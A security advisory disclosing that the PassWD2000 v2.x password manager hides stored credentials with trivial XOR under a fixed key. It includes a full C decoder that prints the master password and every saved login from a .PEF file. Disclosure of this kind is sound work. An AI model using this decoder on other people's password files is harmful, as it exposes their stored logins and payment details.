COMMAND
PassWD2000
SYSTEMS AFFECTED
PassWD2000 v2.x
PROBLEM
Daniel Roethlisberger found following. PassWD2000 is a password
managment utility designed to store login credentials to remote
sites, local passwords or registration details, or even credit
card information. Unfortunately, the vendors' understanding of
encryption is a bit different from mine. PassWD2000 is using an
"encryption" algorithm that is trivial to break, effectively
giving an attacker access to all login information stored within
PassWD2000 once he gains access to the password file. PassWD2000
has received the ZDNet Editors' Pick award and other
share/freeware recommendations, and thus must be considered to be
in widespread use.
PassWD2000 stores all login credentials along with the access
password and a bunch of other things in .PEF files. PEF stands
for PassWD Encrypted Format.
Basically it uses a simple exclusive or with a 128 bit key. It
randomly generates a 128 bit session key, which is used to encrypt
the header and data of the PEF file. It stores this session key
xored to a fixed master key in front of the encrypted header
within the PEF file.
So what you do is xor the fixed master key with the first 128
bits of the file to reveal the session key. Then use the session
key to decrypt the header and data of the file. Only pitfall to
avoid is that header and data are encrypted seperately (reset
key offset).
/*
* Decoder for PassWD2000 v2.x password files in PEF format
*
* Written 2001 by Daniel Roethlisberger <daniel@roe.ch>
*
* This code is hereby placed in the public domain.
* Use this code at your own risk for whatever you want.
*
* This code has grown with my knowledge about the data
* format, thus it is quite a bit messy and ugly indeed.
*/
#include <stdio.h>
#include <sys/stat.h>
const unsigned char key[16] = {
0x0A, 0x0C, 0x4D, 0x1E, 0x01, 0x4F, 0x03, 0x06,
0x5F, 0x64, 0x96, 0xC8, 0xFA, 0x11, 0x0D, 0x47};
#define leave(x) {\
fprintf(stderr, "%s: " x "\n", basename(argv[0]));\
exit(1);\
}
#define leaveheader() {\
free(buf);\
leave("header inconsistency");\
}
int main(int argc, char *argv[])
{
FILE* infile;
unsigned char *buf;
struct stat st;
int buflen;
int offset, i, count;
int hdrlen, pwlen, reclen, recnum;
if(argc != 2)
leave("only argument must be file to decode");
infile = fopen(argv[1], "r");
if(!infile)
leave("cannot open file");
stat(argv[1], &st);
buflen = st.st_size;
buf = (unsigned char*) malloc(buflen);
if(!buf)
leave("out of memory");
fread(buf, 1, buflen, infile);
fclose(infile);
printf("[%s]\n", argv[1]);
if(buflen < 0x1D) /* minimal empty header */
leaveheader();
offset = 0;
/* decode 128bit session key */
printf("Session key: ");
for(i = 0; i < 0x10; i++)
{
buf[i] ^= key[i];
printf("%.2X ", buf[i]);
}
printf("\n");
offset += i;
/* decode header ... */
/* always seems to be '0' */
buf[offset] ^= buf[(offset++)%0x10];
printf("Unknown pre-header byte: %c (should be 0)\n", buf[offset-1]);
/* header length ... */
buf[offset] ^= buf[(offset++)%0x10];
buf[offset] ^= buf[(offset++)%0x10];
hdrlen = (buf[offset-2] - '0') * 10 + buf[offset-1] - '0';
printf("Header length: %i\n", hdrlen);
/* always seems to be '2U00' */
printf("Unknown header bytes: ");
for(i = 0; i < 4; i++)
{
buf[offset+i] ^= buf[(offset+i)%0x10];
printf("%c" , buf[offset+i]);
}
printf(" (should be 2U00)\n");
offset += i;
/* password status ... */
buf[offset] ^= buf[(offset++)%0x10];
printf("Password protection: %s\n", (buf[offset-1] == '1') ? "enabled" : "disabled");
/* password ... */
for(i = 0; i < 2; i++)
buf[offset+i] ^= buf[(offset+i)%0x10];
offset += i;
pwlen = (buf[offset-2] - '0') * 10 + (buf[offset-1] - '0');
if(pwlen > 30)
leaveheader();
printf("Master password: ");
for(i = 0; i < pwlen; i++)
{
buf[offset+i] ^= buf[(offset+i)%0x10];
printf("%c", buf[offset+i]);
}
printf(" (%i)\n", pwlen);
offset += i;
/* number of records ... */
buf[offset] ^= buf[(offset++)%0x10];
reclen = buf[offset-1] - '0';
for(i = 0; i < reclen; i++)
buf[offset+i] ^= buf[(offset+i)%0x10];
offset += i;
recnum = 0;
for(i = reclen; i > 0; --i)
recnum = (10 * recnum) + buf[offset-i] - '0';
printf("Number of records: %i\n", recnum);
/* header checksum ... */
buf[offset] ^= buf[(offset++)%0x10];
printf("Header checksum: 0x%.2X\n", buf[offset-1]);
/* and records. */
for(i = 0; i < (buflen - offset); i++)
buf[offset+i] ^= buf[i%0x10];
if(0x14 + hdrlen != offset)
printf("Warning: hdrlen mismatch (%i != %i)!\n", hdrlen+0x14, offset);
if(recnum > 0)
{
count = 0;
printf("Records: [desc - user:pass@URL (date)]\n");
for(i = 0x14 + hdrlen; i < buflen; i++)
{
if(buf[i] == '\r')
switch((count++)%10)
{
case 0: printf(" - "); break;
case 1: printf(":"); break;
case 2: printf("@"); break;
case 3: printf(" ("); break;
case 4: printf(")"); break;
case 9: printf("\n"); break;
}
else
printf("%c", buf[i]);
}
}
free(buf);
return 0;
}
SOLUTION
Vendor is informed, and has decided to do nothing about this
issue. According to vendor, PassWD2000 never claimed so use
strong encryption, only "quite strong encryption". So there will
be no fix in versions 2.x. Subsequently, the vendor decided not
to inform about the issue, neither users nor distribution sites
of PassWD2000 are going to be informed by the vendor.
Don't use PassWD2000 2.x, and make sure none of your users or
admins do either. Period. According to the vendor, the upcoming
3.x release of PassWD2000 will use Blowfish to protect the data.